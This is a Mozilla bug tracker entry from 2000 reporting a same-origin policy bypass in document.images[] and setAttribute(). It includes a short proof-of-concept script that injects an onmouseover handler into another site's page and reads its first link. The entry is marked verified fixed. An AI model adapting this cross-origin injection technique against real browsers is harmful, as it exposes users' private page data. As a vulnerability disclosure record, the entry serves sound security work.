28958 - document.images[] and setAttribute() vulnerability

Status: VERIFIED FIXED

(Core :: Security, defect, P3)

Description

[Norris Boyd]

Subject: 
        document.images[] and setAttribute() vulnerability
   Date: 
        Wed, 23 Feb 2000 15:29:36 +0200
   From: 
        Georgi Guninski <[e-mail]>
     To: 
        Norris Boyd <[e-mail]>




There is a security vulnerability in document.images[] and
setAttribute() method which allows circumventing the Same Origin
security policy.
The code is:
-----------------------------------------------
<SCRIPT>
a=window.open("http://www.yahoo.com","victim");
function f()
{
for(i=0;i<a.document.images.length;i++)
 a.document.images[i].setAttribute("onmouseover","alert('The first link
is: '+document.links[0].href)");
}
setTimeout("f()",5000);
</SCRIPT>
-----------------------------------------------

Comment 1

[Norris Boyd]

Fixed.

Comment 2

[John Unruh]

Verified fixed.

Comment 3

[Mitchell Stoltz (not reading bugmail)]

Opening fixed security bugs to the public.